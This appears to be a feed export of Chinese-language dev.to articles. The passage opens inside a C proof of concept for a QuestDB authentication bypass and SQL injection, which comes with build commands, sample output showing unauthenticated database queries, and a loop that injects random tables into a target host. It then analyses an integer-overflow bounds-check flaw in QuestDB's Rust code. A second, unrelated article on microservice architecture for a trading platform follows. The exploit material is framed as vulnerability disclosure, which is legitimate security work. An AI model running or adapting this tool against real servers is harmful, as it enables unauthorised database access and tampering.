      &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;databases_url&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;MAX_URL_LEN&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
      &lt;span class="n"&gt;snprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;databases_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;databases_url&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;"%s?query=%s"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base_exec_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;databases_query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;curl_free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;databases_query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;databases_response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;http_get_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;databases_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;databases_response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;databases_response&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;databases_response&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"请求失败&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;curl_easy_cleanup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[*] POC 完成 - 如果看到查询结果，说明漏洞存在&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"正在对 %s 开始注入，共执行 %d 次...&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target_host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;loop_count&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;inject_test_tables&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target_host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;loop_count&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"任务完成。&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;使用 gcc 编译为二进制文件的指令。&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcc &lt;span class="nt"&gt;-o&lt;/span&gt; questdb_poc questdb_exploit.c &lt;span class="nt"&gt;-lcurl&lt;/span&gt;
./questdb_poc &lt;span class="nt"&gt;-u&lt;/span&gt; localhost &lt;span class="nt"&gt;-l&lt;/span&gt; 5 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;执行编译后的二进制文件后，预期输出如下:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; QuestDB Authentication Bypass POC + SQL Injection
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; 目标: localhost

&lt;span class="o"&gt;[&lt;/span&gt;1] 测试无凭证访问...
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"error"&lt;/span&gt;:&lt;span class="s2"&gt;"empty query"&lt;/span&gt;,&lt;span class="s2"&gt;"query"&lt;/span&gt;:&lt;span class="s2"&gt;""&lt;/span&gt;,&lt;span class="s2"&gt;"position"&lt;/span&gt;:&lt;span class="s2"&gt;"0"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="o"&gt;[&lt;/span&gt;2] 测试错误凭证 &lt;span class="o"&gt;(&lt;/span&gt;wrong:wrong&lt;span class="o"&gt;)&lt;/span&gt;...
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"error"&lt;/span&gt;:&lt;span class="s2"&gt;"empty query"&lt;/span&gt;,&lt;span class="s2"&gt;"query"&lt;/span&gt;:&lt;span class="s2"&gt;""&lt;/span&gt;,&lt;span class="s2"&gt;"position"&lt;/span&gt;:&lt;span class="s2"&gt;"0"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="o"&gt;[&lt;/span&gt;3] 测试畸形 Authorization 头...
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"error"&lt;/span&gt;:&lt;span class="s2"&gt;"empty query"&lt;/span&gt;,&lt;span class="s2"&gt;"query"&lt;/span&gt;:&lt;span class="s2"&gt;""&lt;/span&gt;,&lt;span class="s2"&gt;"position"&lt;/span&gt;:&lt;span class="s2"&gt;"0"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="o"&gt;[&lt;/span&gt;4] 尝试读取系统信息...
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"query"&lt;/span&gt;:&lt;span class="s2"&gt;"select current_database(),current_user()"&lt;/span&gt;,&lt;span class="s2"&gt;"columns"&lt;/span&gt;:[&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"current_database()"&lt;/span&gt;,&lt;span class="s2"&gt;"type"&lt;/span&gt;:&lt;span class="s2"&gt;"STRING"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"current_user()"&lt;/span&gt;,&lt;span class="s2"&gt;"type"&lt;/span&gt;:&lt;span class="s2"&gt;"STRING"&lt;/span&gt;&lt;span class="o"&gt;}]&lt;/span&gt;,&lt;span class="s2"&gt;"timestamp"&lt;/span&gt;:-1,&lt;span class="s2"&gt;"dataset"&lt;/span&gt;:[[&lt;span class="s2"&gt;"qdb"&lt;/span&gt;,&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;,&lt;span class="s2"&gt;"count"&lt;/span&gt;:1&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="o"&gt;[&lt;/span&gt;5] 获取数据库列表...
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"query"&lt;/span&gt;:&lt;span class="s2"&gt;"show databases"&lt;/span&gt;,&lt;span class="s2"&gt;"error"&lt;/span&gt;:&lt;span class="s2"&gt;"expected 'TABLES', 'COLUMNS FROM &amp;lt;tab&amp;gt;', 'PARTITIONS FROM &amp;lt;tab&amp;gt;', 'TRANSACTION ISOLATION LEVEL', 'transaction_isolation', 'max_identifier_length', 'standard_conforming_strings', 'parameters', 'server_version', 'server_version_num', 'search_path', 'datestyle', or 'time zone'"&lt;/span&gt;,&lt;span class="s2"&gt;"position"&lt;/span&gt;:14&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; POC 完成 - 如果看到查询结果，说明漏洞存在

正在对 localhost 开始注入，共执行 5 次...
&lt;span class="o"&gt;[&lt;/span&gt;15:51:46] 正在注入表: wypkbzi | 响应长度: 12
&lt;span class="o"&gt;[&lt;/span&gt;15:51:46] 正在注入表: randsjxnjj | 响应长度: 12
&lt;span class="o"&gt;[&lt;/span&gt;15:51:46] 正在注入表: poxccrfzfl | 响应长度: 12
&lt;span class="o"&gt;[&lt;/span&gt;15:51:46] 正在注入表: bbbgfbi | 响应长度: 12
&lt;span class="o"&gt;[&lt;/span&gt;15:51:46] 正在注入表: fctialjsm | 响应长度: 12
任务完成。
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt; &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2Fa67f3ac447724c2e906e223e7761ad5c~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3D65bP6tlJjM2cC3WtizxvSYSNsls%253D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fp0-xtjj-private.juejin.cn%2Ftos-cn-i-73owjymdk6%2Fa67f3ac447724c2e906e223e7761ad5c~tplv-73owjymdk6-jj-mark-v1%3A0%3A0%3A0%3A0%3A5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5ZOq5ZCS572R57uc5a6J5YWo%3Aq75.awebp%3Fpolicy%3DeyJ2bSI6MywidWlkIjoiMTcwNDcxODI5MDY1NTI4OSJ9%26rk3s%3Df64ab15b%26x-orig-authkey%3Df32326d3454f2ac7e96d3d06cdbb035152127018%26x-orig-expires%3D1780124596%26x-orig-sign%3D65bP6tlJjM2cC3WtizxvSYSNsls%253D" alt="截屏2026-03-05 下午3.52.08.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  内存边界检查缺陷
&lt;/h3&gt;

&lt;p&gt;该问题存在于 Rust 原始列驱动程序的 &lt;code&gt;col_sizes_for_row_count&lt;/code&gt; 方法中，该方法计算指定行数所需的内存大小并验证其与实际可用数据的匹配性。以下是问题剖析：&lt;/p&gt;

&lt;h4&gt;
  
  
  关键代码分析
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;col_sizes_for_row_count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;MappedColumn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;row_count&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;CoreResult&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;Option&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;u64&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nd"&gt;assert!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nn"&gt;ColumnTypeTag&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;$&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="nf"&gt;.is_var_size&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;

  &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;row_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;ColumnTypeTag&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="nf"&gt;.fixed_size&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"fixed size column"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;data_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;row_size&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;row_count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;data_size&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="py"&gt;.data&lt;/span&gt;&lt;span class="nf"&gt;.len&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;u64&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nd"&gt;fmt_err!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="n"&gt;InvalidLayout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="s"&gt;"data file for {} column {} shorter than {} rows, expected at least {} bytes but is {} at {}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="nf"&gt;.descr&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
      &lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="py"&gt;.col_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="n"&gt;row_count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="n"&gt;data_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="py"&gt;.data&lt;/span&gt;&lt;span class="nf"&gt;.len&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
      &lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="py"&gt;.parent_path&lt;/span&gt;&lt;span class="nf"&gt;.display&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;));&lt;/span&gt;

  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;data_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;None&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  根本原因：整数溢出风险
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;整数溢出：计算 &lt;code&gt;data_size = row_size * row_count&lt;/code&gt; 时，若 &lt;code&gt;row_count&lt;/code&gt; 极大（如接近 &lt;code&gt;u64::MAX&lt;/code&gt;），乘法可能导致 &lt;code&gt;u64&lt;/code&gt; 类型溢出。Rust 在发布模式下不会触发 panic，而是执行环绕运算（wrap around），使结果变成极小值。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;验证失效：溢出后 &lt;code&gt;data_size&lt;/code&gt; 变为小值（例如 &lt;code&gt;u64::MAX + 1&lt;/code&gt; 环绕为 0），此时 &lt;code&gt;if data_size &amp;gt; col.data.len() as u64&lt;/code&gt; 检查会错误通过，导致函数返回 &lt;code&gt;Ok&lt;/code&gt; 而实际数据不足。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;若函数在数据不足时错误地返回 &lt;code&gt;Ok&lt;/code&gt;，则调用者可能基于此返回值尝试越界读取内存，进而引发缓冲区溢出即读写已分配内存之外的数据及一系列未定义行为，包括程序崩溃、数据损坏或安全漏洞；此外，代码还可能在不报错的情况下处理不完整或无效数据，导致静默数据损坏并产生错误结果。&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>database</category>
      <category>news</category>
      <category>security</category>
    </item>
    <item>
      <title>「交易系统微服务架构」千万级请求下的零信任事件溯源设计实录</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Sat, 23 May 2026 07:00:33 +0000</pubDate>
      <link>https://forem.com/ctkqiang/jiao-yi-xi-tong-wei-fu-wu-jia-gou-qian-mo-ji-qing-qiu-xia-de-ling-xin-ren-shi-jian-su-yuan-she-ji-shi-lu-1bah</link>
      <guid>https://forem.com/ctkqiang/jiao-yi-xi-tong-wei-fu-wu-jia-gou-qian-mo-ji-qing-qiu-xia-de-ling-xin-ren-shi-jian-su-yuan-she-ji-shi-lu-1bah</guid>
      <description>&lt;h2&gt;
  
  
  金融交易架构的迭代真相，从来不是技术选型，而是问题解决
&lt;/h2&gt;

&lt;p&gt;做金融交易系统架构研发多年，我始终坚信一个核心理念：&lt;strong&gt;真正的生产级架构，从来不是堆砌热门技术、做技术优劣对比，而是针对业务痛点量身定制的整套解决方案&lt;/strong&gt;。没有最好的技术，只有最适配业务场景的架构设计。&lt;/p&gt;

&lt;p&gt;我们团队长期负责&lt;strong&gt;中国、美国、马来西亚三地跨境股票交易与实时行情服务&lt;/strong&gt;，业务具备极强的金融行业特殊性：7*20小时不间断交易、跨时区业务差异化、开盘瞬时千万级请求洪峰、金融数据强合规、故障零容忍、业务迭代快速多变。&lt;/p&gt;

&lt;p&gt;和所有初创业务的演进路径一致，我们业务初期为了快速落地、验证商业模式，采用了行业通用的&lt;strong&gt;单体架构&lt;/strong&gt;。在业务体量小、迭代节奏慢、流量压力低的阶段，单体架构的优势被最大化发挥：部署极简、调试高效、服务无网络调用损耗、版本迭代上线速度快，完美支撑了业务从0到1的冷启动阶段。&lt;/p&gt;

&lt;p&gt;但随着我们三地交易业务全面上线、用户体量突破百万级、日请求量稳定攀升至&lt;strong&gt;千万级峰值&lt;/strong&gt;，单体架构的底层设计缺陷开始全面暴露，不再是简单的性能卡顿问题，而是直接触碰金融交易的&lt;strong&gt;稳定性、合规性、安全性红线&lt;/strong&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;业务迭代高度耦合&lt;/strong&gt;：行情解析、交易下单、资产计费、用户权限、风控拦截、资讯推送所有模块耦合在单一工程，任何一个微小迭代，哪怕是计费规则微调、文案修改，都需要全量编译、整体打包、全站发布，迭代成本极高，且每次上线都需要全量回归测试，生产发布风险极大；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;故障全域扩散，无容错能力&lt;/strong&gt;：单体架构无服务隔离机制，行情爬虫卡顿、数据解析报错、接口超时等局部异常，会直接拖垮整个系统，导致全站交易中断，对于零故障容忍的金融交易业务来说，这是致命的生产隐患；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;弹性伸缩完全失效&lt;/strong&gt;：交易流量具备极强的潮汐特性，开盘瞬间流量暴涨百倍，闲时资源长期闲置。单体架构无法针对高并发的行情、交易核心模块单独扩容，也无法对低负载模块缩容，出现了「峰值扛不住、闲时浪费资源」的双重困境；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;无法满足金融合规要求&lt;/strong&gt;：ISO 27001、金融等保规范对数据隔离、权限分级、操作溯源、故障追溯有严格要求，而单体架构权限大一统、日志混杂、操作事件无独立溯源链路，完全无法满足合规审计标准；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;跨地区业务无法差异化适配&lt;/strong&gt;：中、美、马三地股市的开盘时间、交易规则、风控策略、清算逻辑完全不同，单体架构的统一代码逻辑无法实现业务差异化定制，极大阻碍了多地区业务的拓展迭代。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为了从根源上解决以上所有生产痛点，适配千万级并发、跨区交易、强合规、高可用的业务需求，我们团队耗时数月，完成了&lt;strong&gt;从传统单体架构到全域微服务架构的完整重构升级&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;本次架构重构核心不追求技术噱头，所有设计围绕「&lt;strong&gt;流量分层隔离、服务解耦独立、故障可控可溯源、算力弹性适配、数据分层合规、零信任安全防护&lt;/strong&gt;」六大核心目标落地，搭建出一套完全适配跨境金融交易场景的生产级微服务架构。&lt;/p&gt;

&lt;p&gt;本文作为&lt;strong&gt;实战落地架构实录&lt;/strong&gt;，不做任何技术对比、不堆砌空洞理论、不贴无效代码，完整复盘整套架构的分层设计、核心链路、资源选型、存储策略、事件溯源机制的设计初衷、落地细节和生产价值。所有设计均来自真实生产踩坑总结，适合金融交易系统研发、高并发微服务架构师、事件驱动架构实践者参考学习。文末附带完整生产级架构总图，所有设计逻辑均可和架构图一一对应。&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuhwwo9ogvl5rxewwd68m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuhwwo9ogvl5rxewwd68m.png" alt="在这里插入图片描述" width="800" height="402"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  一、全域流量分层架构设计：重新定义交易系统的流量准入体系
&lt;/h2&gt;

&lt;p&gt;在很多常规Web、APP业务架构中，开发者习惯选用单一CDN或单一负载均衡作为流量入口，但在&lt;strong&gt;金融跨境交易场景&lt;/strong&gt;中，流量具备类型复杂、来源多样、优先级差异大、安全要求极高的特点，单一流量入口完全无法满足隔离、安全、可控、可追溯的核心需求。&lt;/p&gt;

&lt;p&gt;这里重点纠正一个核心误区：&lt;strong&gt;本次架构设计并非摒弃CloudFront、择优选用ALB，不存在任何技术优劣对比&lt;/strong&gt;。而是根据金融交易的流量特性，做了&lt;strong&gt;精准的流量分层、场景分工&lt;/strong&gt;，让每一类组件各司其职，构建一套完整、闭环的公网流量准入体系。&lt;/p&gt;

&lt;p&gt;我们整套架构的流量核心设计思想：&lt;strong&gt;不同流量类型、不同访问场景、不同业务优先级，使用不同的流量转发组件，实现物理隔离、权限隔离、故障隔离&lt;/strong&gt;。&lt;/p&gt;

&lt;h3&gt;
  
  
  1.1 全域流量入口分层设计逻辑
&lt;/h3&gt;

&lt;p&gt;跨境交易系统的流量可以精准划分为两大类：静态资源流量、动态业务流量。两类流量的访问特性、并发模型、安全要求、缓存需求完全不同，这也是我们做分层设计的核心依据：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;CloudFront 定位：静态资源全球加速节点&lt;/strong&gt;：专门承载前端页面、静态图片、配置文件等静态资源流量。依托其全球边缘节点优势，实现跨区域静态资源极速访问，降低源站压力，这是我们架构中静态流量的核心解决方案；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;AWS ALB 定位：核心动态业务流量唯一入口&lt;/strong&gt;：所有用户交易、行情查询、账户操作、风控校验等动态核心业务流量，全部统一经由ALB准入、转发、管控。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  1.2 核心动态业务流量选用ALB的架构设计价值
&lt;/h3&gt;

&lt;p&gt;在我们数十个微服务拆分完成后，业务被拆解为用户服务、KYC合规服务、行情服务、交易核心服务、计费清算服务、风控拦截服务、资讯推送服务等独立模块。相较于通用CDN，ALB的核心价值是&lt;strong&gt;精细化、可控化、可溯源的微服务流量调度能力&lt;/strong&gt;，完美适配金融动态业务场景：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;精准路由分发，实现服务物理隔离&lt;/strong&gt;：支持基于请求路径、请求头、请求参数、客户端特征的精细化动态路由，可将不同业务接口精准分流至对应微服务集群，从流量层面实现服务隔离，避免业务互相干扰；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;灰度发布与流量灰度，保障上线安全&lt;/strong&gt;：支持基于请求头、IP、用户ID的灰度流量分配，完美支撑金丝雀发布、增量上线、A/B测试，彻底解决金融业务「上线零故障、风险可控」的核心诉求；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;精细化限流熔断，守护核心交易链路&lt;/strong&gt;：可针对交易下单、资产查询、行情订阅等核心接口单独配置限流、熔断、降级规则，在流量洪峰、异常攻击场景下，优先保障核心交易业务可用，舍弃非核心流量；&lt;/p&gt;&lt;/li&gt;
